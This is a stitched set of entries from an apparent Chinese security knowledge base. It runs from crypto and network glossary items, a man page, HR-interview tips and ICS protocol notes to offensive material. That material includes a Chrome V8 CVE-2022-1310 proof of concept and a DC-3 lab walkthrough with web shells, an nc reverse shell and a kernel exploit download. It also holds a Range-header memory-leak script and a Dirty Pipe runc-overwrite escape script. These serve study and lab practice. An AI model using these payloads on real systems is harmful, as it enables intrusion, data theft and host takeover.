TSA作为时间戳机构,负责生成和分发时间戳。它使用自己的私钥对时间戳进行签名,以确保时间戳的真实性和可验证性。时间戳中包含了相关数据的摘要和时间信息。
**91、**
当涉及到网络中的设备连接和通信时,UPnP(通用即插即 用)是一种协议和框架,旨在简化这个过程。它建立在现 有的网络协议(如TCP/IP)之上,提供了一种标准化的方 法,使设备能够自动发现、配置和通信,而无需进行复杂 的手动设置。
通过UPnP,用户可以更加轻松地设置和使用各种设备,无 论是打印机、路由器、网络存储设备还是媒体服务器等。 UPnP提供了一种自动化的方法,使设备能够互相发现和通 信,从而实现数据共享、远程控制和协作操作。
**92、W3C**
W3C代表着World Wide Web Consortium(万维网联盟)。它是一个国际性的标准组织,致力于发展和推动互联网技术的标准化和互操作性。
W3C的工作涵盖了各个方面的Web技术,包括HTML(超文本标记语言)、CSS(层叠样式表)、XML(可扩展标记语言)、Web安全、Web可访问性、Web服务、语义网等。通过制定这些标准,W3C促进了不同平台和设备之间的互操作性,使Web成为一个统一和开放的环境。
**93、WAPI**
WAPI是中国国家标准,旨在提供一种安全的无线局域网解决方案,用于认证用户身份和保护数据的隐私。它是在IEEE 802.11标准(Wi-Fi标准)基础上发展而来的。
WAPI包含两个主要组件:身份认证(Authentication)和数据加密(Privacy)。它使用了中国自主开发的SM2加密算法和SM3哈希算法,以提供强大的安全性。
WAPI的身份认证过程使用基于证书的公钥基础设施(PKI)架构,要求客户端和接入点(Access Point)之间进行双向认证。这确保了用户的身份和连接点的合法性。
在数据传输方面,WAPI使用块密码算法和强大的数据加密技术,以保护无线网络中传输的数据的机密性和完整性。
**94、WEP**
WEP(Wired Equivalent Privacy)是一种早期的无线局域网(WLAN)安全协议,旨在提供与有线网络等效的隐私保护。
WEP使用了RC4对称加密算法对无线数据进行加密,以防止未经授权的访问和数据窃听。它还使用了CRC-32校验和算法来检测数据完整性。
由于存在严重的安全问题,WEP已经被广泛认为是不安全和易受攻击的协议。随后的WPA(Wi-Fi Protected Access)和WPA2提供了更强大的安全性和加密功能。
**95、x.509**
X.509是一种公钥基础设施(PKI)标准,用于证书的格式和相关信息的定义。它是国际电信联盟(ITU-T)发布的标准,用于在公共密钥加密系统中管理和验证数字证书的结构和内容。
X.509证书用于实现数字身份验证和数据加密,是公钥加密体系中的重要组成部分。它包含了公钥、证书持有者的身份信息和证书颁发机构(CA)的签名等内容。
X.509证书包括以下主要组成部分:
1. 版本(Version)
2. 序列号(Serial Number)
3. 签名算法标识(Signature Algorithm Identifier)
4. 颁发者(Issuer)
5. 有效期(Validity)
6. 持有者(Subject)
7. 公钥(Public Key)
8. 扩展(Extensions)
**96、XAML**
XAML(Extensible Application Markup Language)是一种用于描述用户界面和应用程序行为的标记语言。它最初由微软开发,用于创建Windows Presentation Foundation(WPF)应用程序和其他.NET框架应用程序。
XAML使用XML语法,允许开发人员以声明性的方式定义应用程序的用户界面元素、布局、样式和行为。通过将UI元素和属性以标记的形式组织起来,开发人员可以轻松地构建复杂的界面和交互。
**97、XKMS**
XKMS(XML Key Management Specification)是一种基于XML的标准,用于在网络环境中进行密钥管理和密钥服务的交互。
XKMS旨在解决密钥管理的复杂性和安全性问题,以提供一种标准化的方式来执行密钥操作和密钥相关服务。它定义了一组XML协议和消息格式,用于在客户端和服务器之间进行密钥管理操作。
**98、XML Encryption**
XML Encryption(XML加密)是一种用于在XML文档中对敏感数据进行加密和解密的标准化技术。
XML Encryption旨在解决在XML文档中传输敏感数据时的安全性问题。它提供了一种通用的机制来保护数据的隐私和完整性,确保只有授权的实体能够访问和解密数据。
XML Encryption使用对称密钥加密和公钥加密的技术,以保护XML文档中的数据。它可以应用于各种场景,包括Web服务通信、电子商务交易、数据交换等。
**99、XML Signature**
XML Signature(XML数字签名)是一种用于在XML文档中对内容进行签名和验证的标准化技术。
XML Signature旨在解决XML文档的完整性和真实性验证问题。它提供了一种机制,用于对XML文档进行数字签名,以确保文档在传输和处理过程中没有被篡改或伪造。
XML Signature使用公钥加密和哈希算法来实现数字签名和验证的过程。它基于XML语法,将数字签名嵌入到XML文档中,使接收方能够验证签名并确保文档的完整性。
**100、XTS**
XTS(XEX-based Tweaked Codebook Mode with CipherText Stealing)是一种针对块加密算法的加密模式,用于对磁盘和存储设备上的数据进行加密。
XTS模式是在XEX模式的基础上进行改进的,旨在解决块加密算法在磁盘加密中的一些安全性和效率问题。它采用了双倍长度的密钥,将数据块分成两个子块,并在每个子块上应用相同的加密算法。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH TRUE 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
true \- (成功地)什么都不做
.SH 概述
\fBfalse\fP [\fI\,忽略命令行参数\/\fP]
.br
\fBtrue\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
以表示成功的状态值退出。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
注意:您的 shell 可能内置了自己的 true 程序版本,它通常会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。
.SH 作者
由 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/true>
.br
或者在本地使用: info \(aq(coreutils) true invocation\(aq
|
sec-knowleage
|
## Chrome V8命令执行漏洞(CVE-2022-1310)
> @btiszka报告于2022年3月18日, google 更新于2022年4月11日
### 漏洞描述
chrome V8 引擎的垃圾回收机制中,在处理Number类型数据时,没有考虑Smi值溢出的情况,致使新分配的HeapNumber对象破坏了Write-Barrier机制造成UAF,最终导致了任意代码执行。
### 影响范围
chrome v100.0.4896.88前版本
### 漏洞详情
#### 漏洞位置
```cpp
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
Handle<JSReceiver> recv,
uint64_t value) {
Handle<Object> value_as_object =
isolate->factory()->NewNumberFromInt64(value); /*** A ***/
if (HasInitialRegExpMap(isolate, *recv)) { /*** B ***/
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); /*** C ***/
return recv;
} else {
return Object::SetProperty(
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
}
}
```
#### 漏洞触发条件
将最大 smi 1073741823 存储到 `last_index` 中,`AdvancedStringIndex` 会将其递增为 `1073741824`,然后 `NewNumberFromInt64` 会将其转换为 NewSpace 中的 `HeapNumber`,最后是 `JSRegExp ::cast(*recv).set_last_index` 会将其存储到正则表达式对象中,没有任何写障碍。如果 regexp 对象在 old-space 中,则 `NewNumberFromInt64` 分配的 HeapNumber 在 NewSpace 中,并且发生 Minor GC 这会导致 `last_index` 成为悬空指针并指向 NewSpace 中的任意对象。
#### 漏洞原理
当在JS代码中调用re[Symbol.replace]函数时,V8引擎使用Runtime_RegExpReplaceRT函数进行处理,函数中的异常退出分支会调用RegExpUtils::SetAdvancedStringIndex,该函数最终将re.lastIndex加1并写回re对象中。

可见,上述函数功能约等于re.lastIndex += 1,对于类似的代码逻辑,在底层语言中通常需要考虑边界值,防止出现数据溢出。V8中的Number类型分为Smi和HeapNumber,Smi代表了小整数,和对象中的指针共享存储空间,通过值的最低位是否为0来区分类型,超出Smi表示范围的值会在堆中创建HeapNumber对象来表示,在32位环境下,Smi值的范围为-2^30到2^30 – 1。

根据上述逻辑,当我们对RegExp对象赋值re.lastIndex=1073741823,并进入Runtime_RegExpReplaceRT函数逻辑时,由于加1后的值1073741824超过Smi的表示范围,V8引擎在堆中重新申请了一个HeapNumber对象来存储新的lastIndex值,此时,该RegExp对象的lastIndex属性不再是一个Smi数,而是一个指向堆中HeapNumber对象的指针。如下图所示:

在之前的垃圾回收中已经介绍,V8的Minor GC的Write-Barrier机制需要对将新生代内存中的新建对象置灰并添加到标记列表中,以省略对老年代对象的遍历。但函数SetLastIndex在处理RegExp对象存在初始化Map情况的代码分支中,默认lastIndex是一个Smi值并使用SKIP_WRITE_BARRIER标记跳过了写屏障。因此,当re.lastIndex变成了HeapNumber对象,又没有被Write-Barrier标记,那么在GC发生时,该对象就会被当作可回收对象被释放,释放后re.lastIndex属性指针就变成了一个悬垂指针,指向了一个已释放的堆空间,再次尝试访问这个对象空间,就产生了Use-After-Free漏洞。

该漏洞(CVE-2022-1310)是一个典型的UAF漏洞,触发后可以通过堆喷重新分配释放后的内存空间达到利用的目的,但由于GC时间和堆喷的不稳定性,会给漏洞利用增加一定难度。在漏洞报告中,作者也给出了完整的利用代码,感兴趣可通过参考文档中的issue 1307610的完整报告继续研究。

### poc/exp
[poc.js](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=547161)
```js
var ref = new Array(1000000);
var rid = 0;
var re = new RegExp('foo', 'g');
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (var i = 0; i < 32; i++) {
ref[rid++] = new ArrayBuffer(0x200000);
}
ref[rid++] = new ArrayBuffer(1); // ram heuristic
}
//%DebugPrint(re);
var tmp = re.exec;
var match_object = {};
match_object[0] = {
toString : function() {
return "";
}
};
re.exec = function() {
major_gc(); // mark-sweep
delete re.exec; // transition back to initial regexp map
re.lastIndex = 1073741823; // maximum smi, adding one will result in a HeapNumber
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}
return match_object;
};
try {
var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}
minor_gc();
minor_gc();
major_gc();
print(re.lastIndex);
```
### 漏洞修复建议
相关厂商已更新补丁修复漏洞,升级相关软件至最新版本。
将SKIP_WRITE_BARRIER标记改成UPDATE_WRITE_BARRIER即可。

|
sec-knowleage
|
# DC3-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/dc-3,312/
**Description**
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).
If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.
**Technical Information**
DC-3 is a VirtualBox VM built on Ubuntu 32 bit, so there should be no issues running it on most PCs.
Please note: There was an issue reported with DC-3 not working with VMware Workstation. To get around that, I recommend using VirtualBox, however, I have created a separate DC-3 VMware edition for those who can only use VMware.
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.
**知识点**
- Joomla SQL 注入 (中期)
- john 跑 hash (中期)
- web 命令执行 (中期)
- CVE-2016-4557 提权 (后期)
**实验环境**
`环境仅供参考`
`!!!注意,VMware 环境需要下载一个单独的 DC-3 VMware 版本!!!`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 前期-信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关, `192.168.141.138` 就是目标了
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.138
```
发现只开放一个 80 端口,那么就只能从这入手了,访问 web 发现,是一个 joomla 网站
dirhunt 目录扫描看看
```
pip3 install dirhunt
dirhunt http://192.168.141.138/
```
没啥有用的东西,用 joomscan 试试,这个是 OWASP 的一个专门扫描 Joomla 漏洞的工具
```bash
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl -u http://192.168.141.138/
```
没有啥东西,不过起码告诉了我版本是 3.7.0
---
# 中期-漏洞利用
使用 searchsploit 找找这个版本的漏洞
```bash
searchsploit -w Joomla 3.7.0
```
Joomla 3.7.0 有个 CVE-2017-8917 SQL 注入漏洞,更多漏洞信息和 POC 见 [BS-Exploits](../../../../笔记/RedTeam/漏洞利用/BS-Exploits.md#Joomla)
直接 SQLMAP 走起
```bash
sqlmap -u "http://192.168.141.138/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables -T '#__users' -C name,password --dump
```
一路 y 就行了,可以看到跑出了后台账号密码
```
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
```
密码是 bcrypt 加密的, hashcat 和 john 都可以跑,在 DC1 中使用 hashcat 跑了密码,这里就用 john 跑一跑
```bash
echo "\$2y\$10\$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt
```
ok,跑出密码 `snoopy` ,登录,注意不是在 `http://192.168.141.138/index.php` 登录,而是在 `http://192.168.141.138/administrator/index.php` 登录,这 TM 才是后台
是时候拿个 shell 玩玩了
我们可以编辑模板来获得一个反向 shell
访问 `http://192.168.141.138/administrator/index.php?option=com_templates&view=templates`
这里随便找一个模板,我就用 Beez3 了,看它不爽
到 index.php 里加点代码
```php
system($_GET['cmd']);
```
尝试访问模板预览 `http://192.168.141.138/index.php?tp=1&templateStyle=4&cmd=whoami`
ok,命令成功执行,下面直接准备回弹 shell
kali 开启监听
```bash
nc -lvp 4444
```
访问 `http://192.168.141.138/index.php?tp=1&templateStyle=4&cmd=nc%20-nv%20192.168.141.134%204444%20-e%20/bin/bash`
等待了半天,没弹回来,什么鬼,换个回弹方法试试,回弹方法见 [后渗透](../../../笔记/RedTeam/后渗透/后渗透.md#Linux) Linux 下回弹 shell 部分
注: 这里试了半天,用了很多方法都没有回弹成功,只好暂时另辟蹊径了
到 index.php 里加个一句话把
```php
<?php eval($_POST[1]);?>
```
使用蚁剑连接
连上去了,手动在弹个 shell 回来
```bash
nc -nv 192.168.141.134 4444 -e /bin/bash
```
谜题解开了,这 TM 是 openbad版本的 nc,我不管,老子就是要弹
```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.141.134 4444 >/tmp/f
```
狗日的,还不是被我连上了,改下交互,查看版本
```bash
lsb_release -a
uname -a
```
---
# 后期-提权
使用 searchsploit 找找这个版本的漏洞
```bash
searchsploit -w ubuntu 16.04 4.4.x
```
存在提权漏洞 CVE-2016-4557
找个 EXP 用用
```bash
apt install -y libfuse-dev
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
```
EXP 传给靶机,kali 启个 web
```
python -m SimpleHTTPServer 80
```
靶机上下载,并运行
```
wget 192.168.141.134/39772.zip
unzip 39772.zip && cd 39772 && tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit && sh compile.sh
./doubleput
```
提权成功,感谢靶机作者 @DCUA7,查看最终 flag
|
sec-knowleage
|
# Contribution Guidelines
Please ensure your pull request adheres to the following guidelines:
- Read [the awesome manifesto](https://github.com/sindresorhus/awesome/blob/master/awesome.md) and ensure your list complies.
- Search previous suggestions before making a new one, as yours may be a duplicate.
- Make sure your list is useful before submitting. That implies it having enough content and every item a good succinct description.
- A link back to this list from yours, so users can discover more lists, would be appreciated.
- Make an individual pull request for each suggestion.
- Titles should be [capitalized](http://grammar.yourdictionary.com/capitalization/rules-for-capitalization-in-titles.html).
- Use the following format: `[List Name](link)`
- Link additions should be added to the bottom of the relevant category.
- New categories or improvements to the existing categorization are welcome.
- Check your spelling and grammar.
- Make sure your text editor is set to remove trailing whitespace.
- The pull request and commit should have a useful title.
Thank you for your suggestions!
|
sec-knowleage
|
* [HR面](#hr面)
* [问题](#问题)
* [对我们公司有什么了解,为什么选择本公司](#对我们公司有什么了解为什么选择本公司)
* [为什么想要应聘这个职位](#为什么想要应聘这个职位)
* [对安全服务是怎么理解的](#对安全服务是怎么理解的)
* [如果我不知道渗透测试,两分钟说一下](#如果我不知道渗透测试两分钟说一下)
* [如果我是一个汽车厂商,你如何证明你的工作是有意义的?](#如果我是一个汽车厂商你如何证明你的工作是有意义的)
* [作为应届生,你如何能胜任该职位](#作为应届生你如何能胜任该职位)
* [你有什么职业规划](#你有什么职业规划)
* [如果离职的话是因为什么原因](#如果离职的话是因为什么原因)
* [你有什么优缺点](#你有什么优缺点)
* [对于薪资的要求](#对于薪资的要求)
* [给不了这么多工资可以接受吗?为什么想要这个数?](#给不了这么多工资可以接受吗为什么想要这个数)
* [进入部门后,你需要多长时间进入项目?](#进入部门后你需要多长时间进入项目)
* [上一个面试的人能力跟你差不多,但是工资方面比你要的低?](#上一个面试的人能力跟你差不多但是工资方面比你要的低)
* [是否可以接受加班](#是否可以接受加班)
* [(沟通能力)和领导、同事产生分歧会怎么办](#沟通能力和领导同事产生分歧会怎么办)
* [工作一段时间后,发现工作不是想象中的,会怎么办/对跳槽的看法](#工作一段时间后,发现工作不是想象中的,会怎么办/对跳槽的看法)
* [对上司有什么要求?喜欢和什么样的领导合作?](#对上司有什么要求喜欢和什么样的领导合作)
* [最有影响的一件事/人](#最有影响的一件事人)
* [你还要问什么问题](#你还要问什么问题)
# HR面
注意!HR面试的时候会有非常多的坑,熟悉我在这里写的问题,回答的时候情商高一点,不要跟HR吵起来,也不要有不合时宜的意见分歧,这个度的把控最好自己能让同学、朋友担任面试官,让他们多多挑你的刺,从而不断练习自己的反应能力。技术面试通过的,在HR这边通不过的例子是有很多的!
## 问题
### 对我们公司有什么了解,为什么选择本公司
在信息安全行业比较知名,了解过公司的xx产品。(每次面试某个公司,都要花5-10分钟了解该公司的产品)
### 为什么想要应聘这个职位
从我的经历上可以很清楚地看到我对网络安全的浓厚兴趣,我认为对本职工作有兴趣的人才能更好地完成这个工作。另外也有一句话说得很棒,“你之所以看不见黑暗,是因为有人拼命把它挡在你看不到的地方”,我认为做信息安全的尤其是渗透测试,就是为了更好地保护用户的安全,防患于未然,也是我想要应聘这个岗位的理由。(不要照背,体现自己的热爱和专业能力)
### 对安全服务是怎么理解的
安全服务对象是人, 渗透测试对象是网站。(我的理解)
- 安全概念和资讯
- 安全工具使用
- 渗透测试
- 安全基线检查
- 应急响应
- 代码审计
- 安全边界建设
- 安全规范
### 如果我不知道渗透测试,两分钟说一下
(此处自行组织语言,力求能将渗透测试讲得浅显易懂,时间控制在三分钟以内)
### 如果我是一个汽车厂商,你如何证明你的工作是有意义的?
(对于不懂得安全的人来说,怎么能说服他需要进行渗透测试,渗透测试有什么作用)
### 作为应届生,你如何能胜任该职位
正如前方所说,我学习能力很强,主观能动性强,能很快地做好下派的任务,所以我认为我能很好地胜任这个职位
### 你有什么职业规划
渗透测试工程师->渗透测试项目负责人->安全架构师(安全咨询顾问)
### 如果离职的话是因为什么原因
个人规划和公司有冲突,缺少上升空间。(就算是因为钱少、和同事 <del>打架</del> 不和,也不要明说……)
### 你有什么优缺点
- 优点:对网络安全十分热爱,抗压能力强,学习能力强,责任感强
- 缺点:遇到技术难点时可能会一直钻研,可能会耽搁到其它事情 (情商高一点,不要真的说自己的缺点)
### 对于薪资的要求
月薪13-15K,可以接受1k的浮动
### 给不了这么多工资可以接受吗?为什么想要这个数?
1. 贵公司和我其实比较契合,我可以接受月薪1k左右的浮动。(表明自己的接受范围和立场)
2. 可能我某些方面表现得不够好或者表达不清晰,让您觉得我的能力不够。您可以根据这些点再问我几个问题。(表明自己对自身的判断,认为自己值得这个数,委婉提示面试官可能判断有误)
3. 通过贵司的招聘信息和整个市场平均水平看,我认为我岗位匹配度比较好,值得这个工资水平。(明确回答,要有自信)
(这个问题千万不要顶嘴或拍桌走人,可参考我的知乎回答 面试想拿 10K,HR 说你只值 7K,该怎样回答或者反驳? - 李与归的回答 - 知乎 https://www.zhihu.com/question/282880854/answer/432987673 )
### 进入部门后,你需要多长时间进入项目?
(表达自己的快速学习能力)
### 上一个面试的人能力跟你差不多,但是工资方面比你要的低?
(表达综合素质方面,比如沟通能力好、领导能力好、文档能力好等等)
### 是否可以接受加班
加班肯定是不可避免的,我可以接受项目需求的加班,毕竟完成工作是员工所要尽到的责任。同时我也会提高自己的工作效率,配合完成工作。(同样的,情商高一点,口头说要加班,入职之后要不要加班不就是……:>)
### (沟通能力)和领导、同事产生分歧会怎么办
出现分歧是十分正常的事情,产生分歧很有可能是双方理解不一样,如何有效沟通、相互理解才是重中之重。在我看来还是会以大局出发,以有益于公司和客户的方向出发。
### 工作一段时间后,发现工作不是想象中的,会怎么办/对跳槽的看法
我在找工作之前,都会了解好这份工作的具体职责,如果我工作一段时间后发现工作不是想象中的,那只能说明我的职业目标不够清晰。(圆滑点)
### 对上司有什么要求?喜欢和什么样的领导合作?
我来求职都是为了能找到一个希望能提升自己的平台,我希望更能找到一个技术经验丰富的领导。
### 最有影响的一件事/人
(最好是在安全领域方面的,说上一些黑客事件,表明自己热爱安全领域)
### 你还要问什么问题
- 有没有岗位晋升机制,入职培训项目,员工培训提升项目?考证有没有报销?
- 五险一金、社保比例、饭补、餐补、交通补助?
- 应聘岗位具体职责和工作内容?会不会经常出差?
- 试用期多久?薪水多少?
|
sec-knowleage
|
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
|
sec-knowleage
|
---
title: 从脏管道到 Docker 逃逸
---
<center><h1>从脏管道(CVE-2022-0847)到 Docker 逃逸</h1><b>本文作者:happi0</b><br><br></center>
---
## 一、利用条件与限制
### 利用条件
* 有可读权限或者可以传回文件的文件描述符。
* 有漏洞的内核。
### 利用的限制
* 第一个字节不可修改,并且单次写入不能大于 4k。
* 只能单纯覆盖,不能调整文件大小。
* 由于漏洞基于内存页,所以不会对磁盘有影响。
## 二、与 Docker 的关系
由于 Docker 和宿主机是共享内核,尽管与其他进程资源是隔离开的,内核漏洞也很可能会对 Docker 容器造成安全问题。
### 对于容器的影响
由于 Docker 本质上是由一组互相重叠的层所组层的,然后容器引擎将其合并到一起,原本这些层都是只读的,但由于脏管道漏洞的影响,我们可以在 `u1` 容器里修改 `/etc/passwd` 使得 `u2` 容器的 `/etc/passwd` 被修改。
<img width="1000" src="/img/1674127870.png">
### 利用 CAP_DAC_READ_SEARCH 实现容器逃逸
通过利用 `CAP_DAC_READ_SEARCH` 与脏管道可以实现覆盖主机文件, 该攻击手段可以在 Github 看到详细过程,地址: [github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape](https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape)
这里实际上主要是 `CAP_DAC_READ_SEARCH` 可以调用 `open_by_handle_at`, 从而获得主机文件的文件描述符,再配合脏管道于是就可以修改主机文件了。
<img width="800" src="/img/1674127999.png"><br>
这种攻击方式非常简单,核心就是获得文件的文件描述符即可。
### 通过 runC 实现容器逃逸
一个容器开启时,可以分为以下三步
* fork 创建子进程
* 初始化容器化环境
* 将执行流重定向到用户提供的入口点
对于第三步,以大名鼎鼎的 `CVE-2019-5736` 为例,当重定向入口点时,容器内的`/proc/self/exec` 与主记的 `runc` 二进制文件相关联。
因此可以通过在容器内写入该文件描述符实现容器逃逸。
对于 `CVE-2019-5736` 的修复可以参见:[github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b](https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b)
<img width="800" src="/img/1674128155.png"><br>
由于篇幅原因这里不跟进 `CVE-2019-5736` 的修复的具体代码,直接看 `git commit` 了解修复逻辑。
可以看到修复逻辑是克隆 `/proc/self/exec` 避免容器内部直接获取 `runC`,然而很快开发者修改了修复逻辑,参见:[github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628](https://github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628)
<img width="800" src="/img/1674128209.png"><br>
可以看到开发者认为克隆导致的内存开销太大了,可能造成 `OOM` 或者其他问题,把修复逻辑改成了只读挂载。
这里联想到上文总结的 `脏管道` 的利用条件和利用效果,发现刚好契合。
<img width="1000" src="/img/1674128244.png"><br>
这里的利用主要参考了这里的内容:[securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/](https://securitylabs.datadoghq.com/articles/dirty-pipe-container-escape-poc/)
主机执行 `docker exec -it u1 /bin/sh` 后 `/usr/sbin/runc` 的哈希值变化了,且头部被注入标识。
利用思路也很简单,修改 `CVE-2022-0847` 的 exp,将需要注入的字节改为 shellcode,这里我随便改个标识,然后在容器内找到主机的 `runc` 的 pid 即可,可以参考以下的 `shell` 脚本。
```bash
#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true ; do
runC_pid=""
while [ -z "$runC_pid" ] ; do
runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
done
/exp /proc/${runC_pid}/exe
done
```
## 三、总结
由于 Docker 容器和主机是共享内核的,且目前的 `runc` 是通过挂为只读权限防止逃逸的,对于提权类内核洞来说,这两个限制很容易被绕过。所以虽然容器本身逃逸类的漏洞不多,但提权类的内核漏洞会很可能导致容器逃逸。
<Vssue/>
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023年1月19日"
}
}
</script>
|
sec-knowleage
|
# 工控协议
<p align="center">
<img src="../../../assets/img/banner/工控协议.jpg" width="90%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
- [工控协议](#工控协议)
- [免责声明](#免责声明)
- [大纲](#大纲)
- [S7Comm](#s7comm)
- [S7comm-plus](#s7comm-plus)
- [TPKT](#tpkt)
- [COTP](#cotp)
- [Ethernet/IP](#ethernetip)
- [Modbus](#modbus)
- [Modbus功能码](#modbus功能码)
- [Profinet](#profinet)
- [PROFIBUS](#profibus)
- [DNP3](#dnp3)
- [ICCP](#iccp)
- [OPC](#opc)
- [Niagara-Fox](#niagara-fox)
- [BACnet](#bacnet)
- [GE-SRTP](#ge-srtp)
- [HART-IP](#hart-ip)
- [PCWorx](#pcworx)
- [MELSEC-Q](#melsec-q)
- [OMRON-FINS](#omron-fins)
- [Crimson-v3](#crimson-v3)
- [Codesys](#codesys)
- [ProConOS](#proconos)
- [moxa-nport](#moxa-nport)
---
## S7Comm
S7Comm(S7 Communication)是西门子专有的协议,是西门子 S7 通讯协议簇里的一种。
> shodan : "port:102"
**相关文章**
- [工控安全 | 西门子通信协议S7COMM(Part 1)](https://www.freebuf.com/articles/ics-articles/188159.html)
- [工控安全 | 西门子通信协议S7COMM(Part 2)](https://www.freebuf.com/articles/ics-articles/188606.html)
- [S7comm - The Wireshark Wiki](https://wiki.wireshark.org/S7comm)
- [西门子通信协议S7Comm](https://web.archive.org/web/20190925060928/https://laucyun.com/3aa43ada8cfbd7eca51304b0c305b523.html)
**相关资源**
- [(完整版)西门子S7协议解析](https://wenku.baidu.com/view/c29ee884366baf1ffc4ffe4733687e21ae45ff5f.html#)
**S7comm 协议**
- [S7comm 相关](./S7comm相关.md)
**抓包分析**
- 见 [Wireshark笔记](../BlueTeam/实验/流量分析.md#s7comm) 案例中 s7comm 部分
**仿真搭建**
- [siemens](./PLC攻击.md#siemens)
---
## S7comm-plus
**相关文章**
- [西门子S7comm-plus通信过程及重放攻击分析](https://www.freebuf.com/articles/ics-articles/220239.html)
---
## TPKT
TPKT 协议是应用层数据传输协议,介于 TCP 和 COTP 协议之间。这是一个传输服务协议,主要用来在 COTP 和 TCP 之间建立桥梁。
随着 TCP 越来越流行(大约在1995年左右),需要一种在 TCP 传输之上封装 ISO 服务的机制,因为这两个协议都具有相似的任务,而 COTP 如今已经过时了。
TPKT 使用 TCP 作为其传输协议。 TPKT 通信的 TCP 端口是 102。
TPKT 是一种 "封装 "协议。它在自己的数据包的数据 Payload 中携带 OSI 数据包,然后将产生的结构传递给 TCP,至此,数据包被当作 TCP/IP 数据包处理。传递数据给 TPKT 的 OSI 程序并不知道自己的数据将通过 TCP/IP 进行传输,因为 TPKT 模拟了 OSI 协议传输服务接入点(TSAP)。
其中,TPKT 的结构为:
- 0 (Unsigned integer, 1 byte): Version,版本信息。
- 1 (Unsigned integer, 1 byte): Reserved,保留(值为 0×00)。
- 2-3 (Unsigned integer, 2 bytes): Length,TPKT、COTP、S7 三层协议的总长度,也就是 TCP 的 payload 的长度。
抓包可以看出,其 version=3,Reserved=0,length=7(0×0007)。
**相关文章**
- [ISO transport services on top of the TCP (TPKT)](https://wiki.wireshark.org/TPKT)
---
## COTP
COTP 是 OSI 7 层协议定义的位于 TCP 之上的协议。COTP 以“Packet”为基本单位来传输数据,这样接收方会得到与发送方具有相同边界的数据。
